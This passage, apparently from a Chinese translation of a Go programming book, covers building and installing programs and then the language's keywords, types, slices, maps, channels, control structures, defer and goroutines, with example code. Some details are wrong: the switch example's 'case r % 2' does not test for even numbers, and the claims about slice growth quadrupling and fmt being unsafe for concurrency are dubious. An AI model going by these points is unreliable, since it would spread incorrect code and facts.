go run example.go arg1 arg2
构建多个 Go 文件
如果一个程序被拆分成多个文件,你可以将所有文件传递给build命令。例如,如果你有一个main.go文件和一个包含额外函数的utility.go文件,你可以通过运行以下命令来构建它们:
go build main.go utility.go
如果你尝试单独构建main.go,它将无法找到对utility.go中函数的引用。
构建文件夹(包)
如果一个包包含多个需要构建的 Go 文件,手动将每个文件传递给build命令会非常繁琐。如果你在文件夹中运行go build而不传递任何参数,它将尝试构建目录中的所有.go文件。如果其中某个文件在顶部包含package main语句,它将生成一个以目录名命名的可执行文件。如果你编写一个程序,也可以编写一个不包含主文件的包,该包仅作为库被其他项目引用。
安装程序以供使用
安装程序类似于构建程序,但不同的是,你运行的是go install而不是go build。你可以在一个目录内运行它,传递一个绝对目录路径,或者传递相对于$GOPATH环境变量的目录路径,甚至直接传递一个文件路径。一旦程序被安装,它就会进入你的$GOBIN目录,前提是你已经设置好该目录。你还应该将$GOBIN添加到你的$PATH中,这样无论你当前在哪个目录,都可以直接从命令行运行已安装的程序。安装是完全可选的,但对于某些程序来说,尤其是你想保存或频繁使用的程序,安装会更方便。
总结
阅读完本章后,你应该对 Go 编程语言及其一些关键特性有一个总体的了解。你还应该在你的机器上安装了 Go,并配置好了相关的环境变量。如果你需要更多关于安装和测试环境的说明,请参考 Go 文档:golang.org/doc/install。
在下一章,我们将更深入地了解 Go 编程语言,学习其设计、数据类型、关键字、特性、控制结构以及如何获取帮助和查找文档。如果你已经熟悉 Go,这将是一个很好的复习,帮助你巩固基础知识。如果你是 Go 新手,这将为你后续的学习做一个入门准备。
第二章:Go 编程语言
在深入探讨使用 Go 进行安全编程的复杂示例之前,建立坚实的基础非常重要。本章提供了 Go 编程语言的概述,以便你具备跟随后续示例所需的知识。
本章不是 Go 编程语言的详尽论文,而是为你提供主要特性的一次全面概述。本章的目标是为你提供理解和跟随源代码所需的信息,即使你之前从未使用过 Go。如果你已经熟悉 Go,本章应该是对你已知内容的快速回顾,但或许你会学到一些新的信息。
本章特别涉及以下主题:
-
Go 语言规范
-
Go playground
-
Go 语言游览
-
关键字
-
关于源代码的说明
-
注释
-
类型
-
控制结构
-
延迟
-
包
-
类
-
Goroutine
-
获取帮助和文档
Go 语言规范
Go 语言的完整规范可以在golang.org/ref/spec在线查看。本章中的许多信息都来源于该规范,因为它是语言的唯一真实文档。这里的其余信息包括简短的示例、技巧、最佳实践和我在使用 Go 语言期间学到的其他内容。
Go playground
Go playground 是一个网站,允许你在不安装任何软件的情况下编写和执行 Go 代码。在 playground,play.golang.org,你可以测试代码片段,探索语言,调整内容以理解语言的工作原理。它还允许你通过创建一个唯一的 URL 来共享你的代码片段,这个 URL 会存储你的代码。通过 playground 分享代码比分享纯文本代码片段更有帮助,因为它允许读者实际执行代码,并在对代码如何工作有疑问时进行修改:

上面的截图显示了一个简单程序在 playground 中的运行。顶部有按钮可以运行、格式化、添加导入语句,并与他人共享代码。
Go 语言游览
Go 团队提供的另一个资源是Go 语言游览。这个网站,tour.golang.org,是建立在前面提到的 playground 之上的。这个游览是我第一次接触这门语言,当我完成它时,我感觉自己已经做好准备开始进行 Go 项目了。它一步步带你走过语言的各个方面,并提供了可以运行和修改的代码示例,以帮助你熟悉语言。这是一个向新手介绍 Go 的实用方法。如果你从未使用过 Go,我鼓励你去查看一下。

上面的截图展示了学习页面的第一页。在右侧,你将看到一个小型嵌入式游乐场,展示了与左侧简短课程相关的代码示例。每个课程都附带一个可以运行和修改的简短代码示例。
关键字
为了强调 Go 的简洁性,以下是其 25 个关键字的详细介绍。如果你熟悉其他编程语言,你可能已经知道其中大部分。关键字根据它们的用途被分组在一起进行分析。
数据类型:
var |
这定义了一个新的变量 |
|---|---|
const |
这定义了一个不可变的常量值 |
type |
这定义了一个新的数据类型 |
struct |
这定义了一个新的结构数据类型,包含多个变量 |
map |
这定义了一个新的映射或哈希变量 |
interface |
这定义了一个新的接口 |
函数:
func |
这定义了一个新的函数 |
|---|---|
return |
这退出一个函数,并可选地返回值 |
包:
import |
这将外部包导入到当前包中 |
|---|---|
package |
这指定了一个文件属于哪个包 |
程序流程:
if |
这用于基于条件为真的情况执行分支 |
|---|---|
else |
这用于在条件不为真时执行一个分支 |
goto |
这用于直接跳转到标签;它很少使用,并且不推荐使用 |
Switch 语句:
switch |
这用于根据条件进行分支 |
|---|---|
case |
这定义了 switch 语句的条件 |
default |
这定义了在没有匹配的 case 时的默认执行行为 |
fallthrough |
这用于继续执行下一个 case |
迭代:
for |
for 循环可以像 C 语言中一样使用,提供三个表达式:初始化器、条件和增量。在 Go 中没有 while 循环,for 关键字既可以作为 for 也可以作为 while 使用。如果只传入一个条件表达式,for 循环就像 while 循环一样使用。 |
|---|---|
range |
range 关键字与 for 循环一起使用,用于迭代映射或切片 |
continue |
continue 关键字会跳过当前循环中剩余的执行部分,直接跳转到下一次迭代 |
break |
break 关键字将立即完全退出 for 循环,跳过任何剩余的迭代。 |
并发性:
go |
Goroutine 是内建的轻量级线程。你只需在调用函数前加上 go 关键字,Go 会在一个单独的线程中执行该函数调用。 |
|---|---|
chan |
为了在线程间进行通信,使用通道。通道用于发送和接收特定的数据类型。默认情况下,通道是阻塞的。 |
select |
select 语句允许以非阻塞方式使用通道 |
便利性:
defer |
defer 关键字是一个相对独特的关键字,在我之前接触的其他语言中并没有遇到过。它允许你指定一个函数,在外部函数返回时稍后调用。它在你想确保在当前函数结束时执行某种清理操作时非常有用,但你不确定何时或在哪里它可能会返回。一个常见的用例是延迟文件关闭。 |
|---|
源代码说明
Go 源代码文件应该使用 .go 扩展名。Go 文件的源代码使用 UTF-8 编码,这意味着你可以在代码中使用任何 Unicode 字符,例如将日文字符硬编码到字符串中。
分号在行尾是可选的,通常会省略。分号仅在同一行上分隔多个语句或表达式时才需要。
Go 确实有一个代码格式化标准,可以通过运行 go fmt 来轻松遵循源代码文件的格式。代码格式化应该遵循,但与 Python 需要精确格式化才能正常执行不同,Go 的编译器不会严格强制执行这一点。
注释
注释遵循 C++ 风格,支持双斜杠和斜杠-星号包裹的风格:
// Line comment, everything after slashes ignored
/* General comment, can be in middle of line or span multiple lines */
类型
内置数据类型的命名足够直观。Go 提供了一组不同位长的整数和无符号整数类型。还有浮点数、布尔值和字符串,这些都不足为奇。
有一些类型,例如 rune,在其他语言中不常见。本节将介绍所有不同的类型。
布尔值
布尔类型表示一个真假值。有些语言没有 bool 类型,你必须使用整数或定义自己的枚举类型,但 Go 提供了一个预定义的 bool 类型。true 和 false 常量也是预定义的,并且总是以小写形式使用。以下是创建布尔值的示例:
var customFlag bool = false
bool 类型并非 Go 独有,但关于布尔类型的一个有趣小知识是,它是唯一一个以人名命名的类型。乔治·布尔(George Boole)生于 1815 年,卒于 1864 年,他写了《思维法则》(The Laws of Thought),在其中描述了布尔代数,这是所有数字逻辑的基础。Go 中的 bool 类型非常简单,但它背后的历史却极其丰富。
数字
主要的数值数据类型是整数和浮点数。Go 还提供了一个复数类型、一个字节类型和一个 rune 类型。以下是 Go 中可用的数值数据类型。
泛型数字
当你不特别关心数字是 32 位还是 64 位时,可以使用这些泛型类型。系统会自动使用最大可用的大小,但它兼容 32 位和 64 位处理器。
-
uint:这是一个无符号整数,大小为 32 或 64 位 -
int:这是一个有符号整数,大小与uint相同 -
uintptr:这是一个无符号整数,用于存储指针值
特定数字
这些数字类型指定了位长度,并且是否包含符号位来确定正负值。位长度将决定最大范围。带符号整数的范围会因为最后一位被保留为符号位而减少一位。
无符号整数
使用不带数字的 uint 通常会选择系统支持的最大大小,通常为 64 位。你也可以指定四种特定的 uint 大小:
-
uint8:无符号 8 位整数(0 到 255) -
uint16:无符号 16 位整数(0 到 65535) -
uint32:无符号 32 位整数(0 到 4294967295) -
uint64:无符号 64 位整数(0 到 18446744073709551615)
带符号整数
像无符号整数一样,你可以单独使用 int 来选择最佳的默认大小,或者指定这四种特定的 int 大小:
-
int8:8 位整数(-128 到 127) -
int16:16 位整数(-32768 到 32767) -
int32:32 位整数(-2147483648 到 2147483647) -
int64:64 位整数(-9223372036854775808 到 9223372036854775807)
浮点数
浮点类型没有通用类型,必须是以下两种选项之一:
-
float32:IEEE-754 32 位浮点数 -
float64:IEEE-754 64 位浮点数
其他数字类型
Go 还提供了一个复数类型,用于高级数学应用,并提供了一些别名以方便使用:
-
complex64:复数,具有float32类型的实部和虚部 -
complex128:复数,具有float64类型的实部和虚部 -
byte:uint8的别名 -
rune:int32的别名
你可以使用十进制、八进制或十六进制格式定义数字。十进制或基数十的数字不需要前缀。八进制或基数八的数字应该以零作为前缀。十六进制或基数十六的数字应该以零和 x 为前缀。
你可以在 en.wikipedia.org/wiki/Octal 阅读更多关于八进制的知识,在 en.wikipedia.org/wiki/Decimal 阅读更多关于十进制的知识,在 en.wikipedia.org/wiki/Hexadecimal 阅读更多关于十六进制的知识。
请注意,数字是作为整数存储的,除了在源代码中如何格式化以供人类使用外,它们之间没有区别。八进制和十六进制在处理二进制数据时非常有用。以下是定义整数的简短示例:
package main
import "fmt"
func main() {
// Decimal for 15
number0 := 15
// Octal for 15
number1 := 017
// Hexadecimal for 15
number2 := 0x0F
fmt.Println(number0, number1, number2)
}
字符串
Go 提供了 string 类型,以及一个包含一系列有用函数的 strings 包,如 Contains()、Join()、Replace()、Split()、Trim() 和 ToUpper()。此外,还有一个专门用于将不同数据类型转换为字符串的 strconv 包。你可以在 golang.org/pkg/strings/ 阅读更多关于 strings 包的信息,在 golang.org/pkg/strconv/ 阅读更多关于 strconv 包的信息。
双引号用于字符串。单引号仅用于表示单个字符或符文,而不是字符串。字符串可以使用长形式或短形式的声明并赋值操作符来定义。你还可以使用`(反引号)符号来封装跨越多行的字符串。以下是字符串使用的简短示例:
package main
import "fmt"
func main() {
// Long form assignment
var myText = "test string 1"
// Short form assignment
myText2 := "test string 2"
// Multiline string
myText3 := `long string
spanning multiple
lines`
fmt.Println(myText)
fmt.Println(myText2)
fmt.Println(myText3)
}
数组
数组由特定类型的顺序元素组成。可以为任何数据类型创建数组。数组的长度不能改变,并且必须在声明时指定。数组很少直接使用,而是通过下一个部分介绍的切片类型使用。数组始终是一维的,但可以通过创建数组的数组来创建多维对象。
要创建一个 128 字节的数组,可以使用以下语法:
var myByteArray [128]byte
可以通过数组的基于 0 的数字索引来访问单个元素。例如,要获取字节数组的第五个元素,语法如下:
singleByte := myByteArray[4]
切片
切片使用数组作为底层数据类型。主要优点是切片可以改变大小,而数组不能。可以将切片看作是底层数组的一个视图窗口。容量指的是底层数组的大小,以及切片的最大可能长度。长度指的是切片的当前长度,可以调整大小。
切片是使用make()函数创建的。make()函数会创建一个特定类型、特定长度和容量的切片。使用make()函数创建切片时,有两种方式。只使用两个参数时,长度和容量相同。使用三个参数时,可以指定一个大于长度的最大容量。以下是两种make()函数声明方式:
make([]T, lengthAndCapacity)
make([]T, length, capacity)
可以创建一个容量和长度为 0 的nil切片。nil切片没有与之关联的底层数组。以下是一个简短的示例程序,演示如何创建和检查切片:
package main
import "fmt"
func main() {
// Create a nil slice
var mySlice []byte
// Create a byte slice of length 8 and max capacity 128
mySlice = make([]byte, 8, 128)
// Maximum capacity of the slice
fmt.Println("Capacity:", cap(mySlice))
// Current length of slice
fmt.Println("Length:", len(mySlice))
}
你还可以使用内置的append()函数向切片追加元素。
Append 可以一次添加一个或多个元素。如果有必要,底层数组将被重新调整大小。这意味着切片的最大容量可以增加。当切片增加其底层容量,创建一个更大的底层数组时,它会为数组创建一些额外的空间。这意味着如果你超出了切片的容量一个单位,它可能会将数组的大小增加四倍。这样做是为了让底层数组有足够的空间增长,减少底层数组需要重新调整大小的次数,因为这可能需要移动内存以适应更大的数组。每次仅添加一个元素就重新调整数组大小可能是昂贵的。切片的机制会自动确定调整大小的最佳尺寸。
这个代码示例提供了多个关于切片操作的例子:
package main
import "fmt"
func main() {
var mySlice []int // nil slice
// Appending works on nil slices.
// Since nil slices have zero capacity, and have
// no underlying array, it will create one.
mySlice = append(mySlice, 1, 2, 3, 4, 5)
// Individual elements can be accessed from a slice
// just like an array by using the square bracket operator.
firstElement := mySlice[0]
fmt.Println("First element:", firstElement)
// To get only the second and third element, use:
subset := mySlice[1:4]
fmt.Println(subset)
// To get the full contents of a slice except for the
// first element, use:
subset = mySlice[1:]
fmt.Println(subset)
// To get the full contents of a slice except for the
// last element, use:
subset = mySlice[0 : len(mySlice)-1]
fmt.Println(subset)
// To copy a slice, use the copy() function.
// If you assign one slice to another with the equal operator,
// the slices will point at the same memory location,
// and changing one would change both slices.
slice1 := []int{1, 2, 3, 4}
slice2 := make([]int, 4)
// Create a unique copy in memory
copy(slice2, slice1)
// Changing one should not affect the other
slice2[3] = 99
fmt.Println(slice1)
fmt.Println(slice2)
}
结构体
在 Go 中,结构体或数据结构是变量的集合,这些变量可以是不同类型的。我们将通过一个创建自定义结构体类型的示例来说明。
Go 使用基于大小写的作用域来声明变量为public或private。首字母大写的变量和方法是公开的,可以从其他包中访问。小写的值是私有的,仅能在同一个包内访问。
以下示例创建了一个名为Person的简单结构体和一个名为Hacker的结构体。Hacker类型内嵌了Person类型。然后创建每种类型的实例,并将它们的信息打印到标准输出:
package main
import "fmt"
func main() {
// Define a Person type. Both fields public
type Person struct {
Name string
Age int
}
// Create a Person object and store the pointer to it
nanodano := &Person{Name: "NanoDano", Age: 99}
fmt.Println(nanodano)
// Structs can also be embedded within other structs.
// This replaces inheritance by simply storing the
// data type as another variable.
type Hacker struct {
Person Person
FavoriteLanguage string
}
fmt.Println(nanodano)
hacker := &Hacker{
Person: *nanodano,
FavoriteLanguage: "Go",
}
fmt.Println(hacker)
fmt.Println(hacker.Person.Name)
fmt.Println(hacker)
}
你可以通过将变量名首字母小写来创建私有变量。我使用引号是因为私有变量的工作方式与其他语言稍有不同。隐私是基于包级别的,而不是基于类或类型级别的。
指针
Go 提供了一种指针类型,用于存储特定类型数据的内存位置。可以使用指针通过引用将结构体传递给函数,而不创建副本。这还允许函数就地修改对象。
Go 不允许指针运算。指针被认为是安全的,因为 Go 甚至没有为指针类型定义加法运算符。指针只能用于引用现有对象。
这个示例演示了基本的指针用法。它首先创建一个整数,然后创建一个指向该整数的指针。接着,它打印出指针的数据类型、指针中存储的地址以及指针指向的数据值:
package main
import (
"fmt"
"reflect"
)
func main() {
myInt := 42
intPointer := &myInt
fmt.Println(reflect.TypeOf(intPointer))
fmt.Println(intPointer)
fmt.Println(*intPointer)
}
函数
函数通过func关键字定义。函数可以有多个参数,所有参数都是位置参数,没有命名参数。Go 支持可变参数,允许传入未知数量的参数。函数在 Go 中是第一类公民,可以匿名使用并作为变量返回。Go 还支持从函数返回多个值。可以使用下划线忽略返回值。
所有这些示例都在以下代码源中演示:
package main
import "fmt"
// Function with no parameters
func sayHello() {
fmt.Println("Hello.")
}
// Function with one parameter
func greet(name string) {
fmt.Printf("Hello, %s.\n", name)
}
// Function with multiple params of same type
func greetCustom(name, greeting string) {
fmt.Printf("%s, %s.\n", greeting, name)
}
// Variadic parameters, unlimited parameters
func addAll(numbers ...int) int {
sum := 0
for _, number := range numbers {
sum += number
}
return sum
}
// Function with multiple return values
// Multiple values encapsulated by parenthesis
func checkStatus() (int, error) {
return 200, nil
}
// Define a type as a function so it can be used
// as a return type
type greeterFunc func(string)
// Generate and return a function
func generateGreetFunc(greeting string) greeterFunc {
return func(name string) {
fmt.Printf("%s, %s.\n", greeting, name)
}
}
func main() {
sayHello()
greet("NanoDano")
greetCustom("NanoDano", "Hi")
fmt.Println(addAll(4, 5, 2, 3, 9))
russianGreet := generateGreetFunc("Привет")
russianGreet("NanoDano")
statusCode, err := checkStatus()
fmt.Println(statusCode, err)
}
接口
接口是一种特殊类型,定义了一组函数签名。你可以将接口理解为“一个类型必须实现函数 X 和函数 Y 才能满足该接口”。如果你创建了一个类型并实现了满足接口所需的函数,那么这个类型就可以在任何需要该接口的地方使用。你不必显式地指定你正在尝试满足一个接口,编译器会自动判断它是否符合要求。
你可以向自定义类型添加任意多的其他函数。接口定义了必需的函数,但并不意味着你的类型只能实现这些函数。
最常用的接口是error接口。error接口只需要实现一个函数,名为Error(),它返回一个包含错误信息的字符串。以下是该接口的定义:
type error interface {
Error() string
}
这使得你可以非常容易地实现自己的错误接口。这个例子创建了一个customError类型,并实现了满足接口所需的Error()函数。然后,创建了一个示例函数,返回自定义错误:
package main
import "fmt"
// Define a custom type that will
// be used to satisfy the error interface
type customError struct {
Message string
}
// Satisfy the error interface
// by implementing the Error() function
// which returns a string
func (e *customError) Error() string {
return e.Message
}
// Sample function to demonstrate
// how to use the custom error
func testFunction() error {
if true != false { // Mimic an error condition
return &customError{"Something went wrong."}
}
return nil
}
func main() {
err := testFunction()
if err != nil {
fmt.Println(err)
}
}
其他常用的接口包括Reader和Writer接口。每个接口只需要实现一个函数,以满足接口要求。这里的一个大好处是,你可以创建自己的自定义类型,以某种任意方式读写数据。实现细节对接口来说并不重要。接口不会关心你是在读取和写入硬盘、网络连接、内存存储还是/dev/null。只要你实现了所需的函数签名,就可以在接口使用的任何地方使用你的类型。以下是Reader和Writer接口的定义:
type Reader interface {
Read(p []byte) (n int, err error)
}
type Writer interface {
Write(p []byte) (n int, err error)
}
Map
map 是一个哈希表或字典,用于存储键值对。键和值可以是任何数据类型,包括 map 本身,从而创建多维结构。
顺序是不保证的。你可以多次遍历一个 map,每次的顺序可能都不同。此外,map 不是并发安全的。如果你必须在多个线程之间共享 map,请使用互斥锁(mutex)。
以下是一些 map 使用的示例:
package main
import (
"fmt"
"reflect"
)
func main() {
// Nil maps will cause runtime panic if used
// without being initialized with make()
var intToStringMap map[int]string
var stringToIntMap map[string]int
fmt.Println(reflect.TypeOf(intToStringMap))
fmt.Println(reflect.TypeOf(stringToIntMap))
// Initialize a map using make
map1 := make(map[string]string)
map1["Key Example"] = "Value Example"
map1["Red"] = "FF0000"
fmt.Println(map1)
// Initialize a map with literal values
map2 := map[int]bool{
4: false,
6: false,
42: true,
}
// Access individual elements using the key
fmt.Println(map1["Red"])
fmt.Println(map2[42])
// Use range to iterate through maps
for key, value := range map2 {
fmt.Printf("%d: %t\n", key, value)
}
}
Channel
通道用于线程间通信。通道是先进先出(FIFO)队列。你可以将对象推入队列,并异步从队列的前端取出。每个通道只能支持一种数据类型。通道默认是阻塞的,但可以通过select语句使其变为非阻塞。像切片和映射一样,通道在使用前必须通过make()函数进行初始化。
Go 里的格言是不要通过共享内存进行通信,而应该通过通信来共享内存。更多关于这一哲学的内容可以参考blog.golang.org/share-memory-by-communicating。
这是一个示例程序,展示了基本的通道使用方法:
package main
import (
"log"
"time"
)
// Do some processing that takes a long time
// in a separate thread and signal when done
func process(doneChannel chan bool) {
time.Sleep(time.Second * 3)
doneChannel <- true
}
func main() {
// Each channel can support one data type.
// Can also use custom types
var doneChannel chan bool
// Channels are nil until initialized with make
doneChannel = make(chan bool)
// Kick off a lengthy process that will
// signal when complete
go process(doneChannel)
// Get the first bool available in the channel
// This is a blocking operation so execution
// will not progress until value is received
tempBool := <-doneChannel
log.Println(tempBool)
// or to simply ignore the value but still wait
// <-doneChannel
// Start another process thread to run in background
// and signal when done
go process(doneChannel)
// Make channel non-blocking with select statement
// This gives you the ability to continue executing
// even if no message is waiting in the channel
var readyToExit = false
for !readyToExit {
select {
case done := <-doneChannel:
log.Println("Done message received.", done)
readyToExit = true
default:
log.Println("No done signal yet. Waiting.")
time.Sleep(time.Millisecond * 500)
}
}
}
控制结构
控制结构用于控制程序执行的流程。最常见的形式是if语句、for循环和switch语句。Go 还支持goto语句,但应仅在极端性能需求的情况下使用,不宜频繁使用。让我们简要地了解一下每种结构的语法。
if
if语句包括if、else if和else语句块,就像大多数其他语言一样。Go 中一个有趣的特性是,能够在条件之前写一个语句,用来创建临时变量,这些变量会在if语句执行完毕后被丢弃。
本示例展示了使用 if 语句的不同方式:
package main
import (
"fmt"
"math/rand"
)
func main() {
x := rand.Int()
if x < 100 {
fmt.Println("x is less than 100.")
}
if x < 1000 {
fmt.Println("x is less than 1000.")
} else if x < 10000 {
fmt.Println("x is less than 10,000.")
} else {
fmt.Println("x is greater than 10,000")
}
fmt.Println("x:", x)
// You can put a statement before the condition
// The variable scope of n is limited
if n := rand.Int(); n > 1000 {
fmt.Println("n is greater than 1000.")
fmt.Println("n:", n)
} else {
fmt.Println("n is not greater than 1000.")
fmt.Println("n:", n)
}
// n is no longer available past the if statement
}
for
for 循环有三个组成部分,并且可以像 C 或 Java 中的 for 循环一样使用。Go 没有 while 循环,因为 for 循环在使用单一条件时可以实现同样的功能。参考以下示例可以更清楚:
package main
import (
"fmt"
)
func main() {
// Basic for loop
for i := 0; i < 3; i++ {
fmt.Println("i:", i)
}
// For used as a while loop
n := 5
for n < 10 {
fmt.Println(n)
n++
}
}
range
range 关键字用于遍历切片、映射或其他数据结构。range 关键字与 for 循环结合使用,操作可迭代的数据结构。range 关键字返回键和值变量。以下是一些使用 range 关键字的基本示例:
package main
import "fmt"
func main() {
intSlice := []int{2, 4, 6, 8}
for key, value := range intSlice {
fmt.Println(key, value)
}
myMap := map[string]string{
"d": "Donut",
"o": "Operator",
}
// Iterate over a map
for key, value := range myMap {
fmt.Println(key, value)
}
// Iterate but only utilize keys
for key := range myMap {
fmt.Println(key)
}
// Use underscore to ignore keys
for _, value := range myMap {
fmt.Println(value)
}
}
switch、case、fallthrough 和 default
switch 语句允许你根据变量的状态分支执行。它与 C 和其他语言中的 switch 语句类似。
默认情况下没有 fallthrough。这意味着,一旦到达一个 case 的末尾,代码会完全退出 switch 语句,除非显式提供了 fallthrough 命令。如果没有匹配的 case,可以提供一个 default case。
你可以在要切换的变量前放一个语句,比如 if 语句。这会创建一个仅在 switch 语句范围内有效的变量。
本示例展示了两个 switch 语句。第一个使用硬编码的值,并包含一个 default case。第二个 switch 语句使用一种替代语法,可以在第一行放入语句:
package main
import (
"fmt"
"math/rand"
)
func main() {
x := 42
switch x {
case 25:
fmt.Println("X is 25")
case 42:
fmt.Println("X is the magical 42")
// Fallthrough will continue to next case
fallthrough
case 100:
fmt.Println("X is 100")
case 1000:
fmt.Println("X is 1000")
default:
fmt.Println("X is something else.")
}
// Like the if statement a statement
// can be put in front of the switched variable
switch r := rand.Int(); r {
case r % 2:
fmt.Println("Random number r is even.")
default:
fmt.Println("Random number r is odd.")
}
// r is no longer available after the switch statement
}
goto
Go 确实有 goto 语句,但它非常少用。你可以通过创建一个带有名称和冒号的标签,然后使用 goto 关键字跳转到该标签。以下是一个基本示例:
package main
import "fmt"
func main() {
goto customLabel
// Will never get executed because
// the goto statement will jump right
// past this line
fmt.Println("Hello")
customLabel:
fmt.Println("World")
}
Defer
通过推迟一个函数,它将在当前函数退出时执行。这是一种确保函数在退出前执行的便捷方式,特别适合进行清理或关闭文件。因为即使函数有多个返回位置,推迟的函数也会在任何位置退出时执行。
常见的用例是推迟关闭文件或数据库连接的调用。在打开文件后,可以推迟一个关闭文件的调用。这将确保每当函数退出时,文件会被关闭,即使有多个返回语句,你也无法确定当前函数何时以及在哪里退出。
本示例展示了 defer 关键字的简单用法。它创建一个文件,然后推迟调用 file.Close():
package main
import (
"log"
"os"
)
func main() {
file, err := os.Create("test.txt")
if err != nil {
log.Fatal("Error creating file.")
}
defer file.Close()
// It is important to defer after checking the errors.
// You can't call Close() on a nil object
// if the open failed.
// ...perform some other actions here...
// file.Close() will be called before final exit
}
确保正确检查并处理错误。如果使用空指针,defer 调用会触发 panic。
同样重要的是要理解,推迟的函数是在围绕的函数退出时执行的。如果你将 defer 调用放在 for 循环内,它不会在每次 for 循环迭代结束时调用。
包
包就是目录。每个目录就是一个包。创建子目录会创建一个新的包。没有子包会导致扁平的层次结构。子目录仅用于组织代码。
包应该存储在$GOPATH变量的src文件夹中。
包名应与文件夹名称匹配,或者命名为main。main包意味着它不打算被导入到其他应用程序中,而是作为程序进行编译和运行。包通过import关键字导入。
你可以单独导入包:
import "fmt"
或者,你可以通过将多个包用括号括起来一次性导入:
import (
"fmt"
"log"
)
类
从技术上讲,Go 没有类,但只有一些细微的区别使它不能被称为面向对象语言。概念上,我确实认为它是面向对象的编程语言,尽管它只支持面向对象语言的最基本特性。它不包含许多人习惯于与面向对象编程相关联的所有特性,如继承和多态,这些被嵌入类型和接口等其他特性所取代。根据你的角度,你或许可以称其为微类系统,因为它是一个极简实现,去除了所有额外的特性和负担。
在本书中,对象和类这两个术语可能会用来通过熟悉的术语来阐明一个观点,但请注意,这些不是 Go 语言中的正式术语。类型定义与操作该类型的函数结合在一起类似于类,而对象则是类型的一个实例。
继承
Go 中没有继承,但你可以嵌入类型。这里是一个Person和Doctor类型的例子,Doctor类型嵌入了Person类型。Doctor不是直接继承Person的行为,而是将Person对象作为变量存储,这样它就拥有了所有Person的方法和属性:
package main
import (
"fmt"
"reflect"
)
type Person struct {
Name string
Age int
}
type Doctor struct {
Person Person
Specialization string
}
func main() {
nanodano := Person{
Name: "NanoDano",
Age: 99,
}
drDano := Doctor{
Person: nanodano,
Specialization: "Hacking",
}
fmt.Println(reflect.TypeOf(nanodano))
fmt.Println(nanodano)
fmt.Println(reflect.TypeOf(drDano))
fmt.Println(drDano)
}
多态
Go 语言中没有多态,但你可以使用接口创建一个可以被多个类型使用的公共抽象。接口定义一个或多个方法声明,必须满足这些声明才能与接口兼容。接口在本章早些时候已经讨论过。
构造函数
Go 中没有构造函数,但有New()函数,它类似于工厂方法来初始化一个对象。你只需创建一个名为New()的函数并返回你的数据类型。这里是一个例子:
package main
import "fmt"
type Person struct {
Name string
}
func NewPerson() Person {
return Person{
Name: "Anonymous",
}
}
func main() {
p := NewPerson()
fmt.Println(p)
}
Go 语言中没有析构函数,因为一切都由垃圾回收管理,你无需手动销毁对象。defer是最接近析构函数的功能,它可以延迟调用一个函数,在当前函数结束时执行一些清理操作。
方法
方法是属于特定类型的函数,并且通过点符号调用,例如:
myObject.myMethod()
点(dot)符号在 C++ 和其他面向对象语言中被广泛使用。点符号和类系统源自于 C 语言中使用的一个共同模式。这个常见模式是定义一组操作特定数据类型的函数。所有相关函数的第一个参数都是要操作的数据。由于这是一个常见模式,Go 将其内建到语言中。与其将要操作的对象作为第一个参数传递,不如在 Go 函数定义中通过一个特殊的位置指定接收器。接收器被指定在函数名之前的一对括号中。接下来的例子演示了如何使用函数接收器。
你可以编写具有特殊接收器的函数,而不是编写一个庞大的函数集,其中所有函数的第一个参数都是指针。接收器可以是一个类型,也可以是该类型的指针:
package main
import "fmt"
type Person struct {
Name string
}
// Person function receiver
func (p Person) PrintInfo() {
fmt.Printf("Name: %s\n", p.Name)
}
// Person pointer receiver
// If you did not use the pointer receivers
// it would not modify the person object
// Try removing the asterisk here and seeing how the
// program changes behavior
func (p *Person) ChangeName(newName string) {
p.Name = newName
}
func main() {
nanodano := Person{Name: "NanoDano"}
nanodano.PrintInfo()
nanodano.ChangeName("Just Dano")
nanodano.PrintInfo()
}
在 Go 中,你不会将所有的变量和方法都封装在一对庞大的大括号中。你定义一个类型,然后定义作用于该类型的方法。这允许你将所有结构体和数据类型定义在一个地方,并在包的其他地方定义方法。你也可以选择将类型和方法直接放在一起定义。这种方式简单明了,并且在状态(数据)和逻辑之间创建了更清晰的区分。
运算符重载
Go 不支持运算符重载,因此你不能通过 + 运算符将结构体相加,但你可以很容易地在类型上定义一个 Add() 函数,然后调用类似 dataSet1.Add(dataSet2) 的方式。通过将运算符重载从语言中去除,我们可以放心使用运算符,而不用担心由于某些地方不小心重载了运算符,导致的意外行为。
Goroutines
Goroutine 是 Go 内建的轻量级线程。你只需在函数调用前加上go关键字,就能让函数在一个线程中执行。在本书中,Goroutine 也可能被称为线程。
Go 确实提供了互斥锁(mutex),但在大多数情况下可以避免使用,它们不会在本书中讲解。你可以在sync包文档中阅读更多关于互斥锁的信息。应使用通道(Channels)来共享数据并在线程之间进行通信。通道在本章之前已经讲解过。
请注意,log包是安全的并且支持并发使用,而fmt包则不支持并发使用。这里是一个使用 goroutine 的简单示例:
package main
import (
"log"
"time"
)
func countDown() {
for i := 5; i >= 0; i-- {
log.Println(i)
time.Sleep(time.Millisecond * 500)
}
}
func main() {
// Kick off a thread
go countDown()
// Since functions are first-class
// you can write an anonymous function
// for a goroutine
go func() {
time.Sleep(time.Second * 2)
log.Println("Delayed greetings!")
}()
// Use channels to signal when complete
// Or in this case just wait
time.Sleep(time.Second * 4)
}
获取帮助和文档
Go 既有在线帮助文档,也有离线文档。Go 的离线文档是内置的,和在线托管的文档相同。接下来的部分将引导你如何访问这两种形式的文档。
在线 Go 文档
在线文档可以在 golang.org/ 上找到,包含所有正式文档、规范和帮助文件。语言文档特别在 golang.org/doc/ 上,标准库的信息可以在 golang.org/pkg/ 找到。
离线 Go 文档
Go 还提供了一个离线文档,使用 godoc 命令行工具。你可以在命令行中使用它,或者让它运行一个 web 服务器,提供与 golang.org/ 相同的网站内容。能够在本地访问完整的网站文档非常方便。以下是一些获取 fmt 包文档的示例。将 fmt 替换为你感兴趣的任何包:
# Get fmt package information
godoc fmt
# Get source code for fmt package
godoc -src fmt
# Get specific function information
godoc fmt Printf
# Get source code for function
godoc -src fmt Printf
# Run HTTP server to view HTML documentation
godoc -http=localhost:9999
HTTP 选项提供与 golang.org/ 上相同的文档。
总结
阅读完本章后,你应该对 Go 基础知识有一个基本的理解,比如关键字是什么,它们的作用以及有哪些基本数据类型。你也应该能熟练创建函数和自定义数据类型。
目标不是记住所有前面的信息,而是了解语言中有哪些工具可供使用。如有需要,可以将本章作为参考。你可以在golang.org/ref/spec找到更多关于 Go 语言规范的信息。
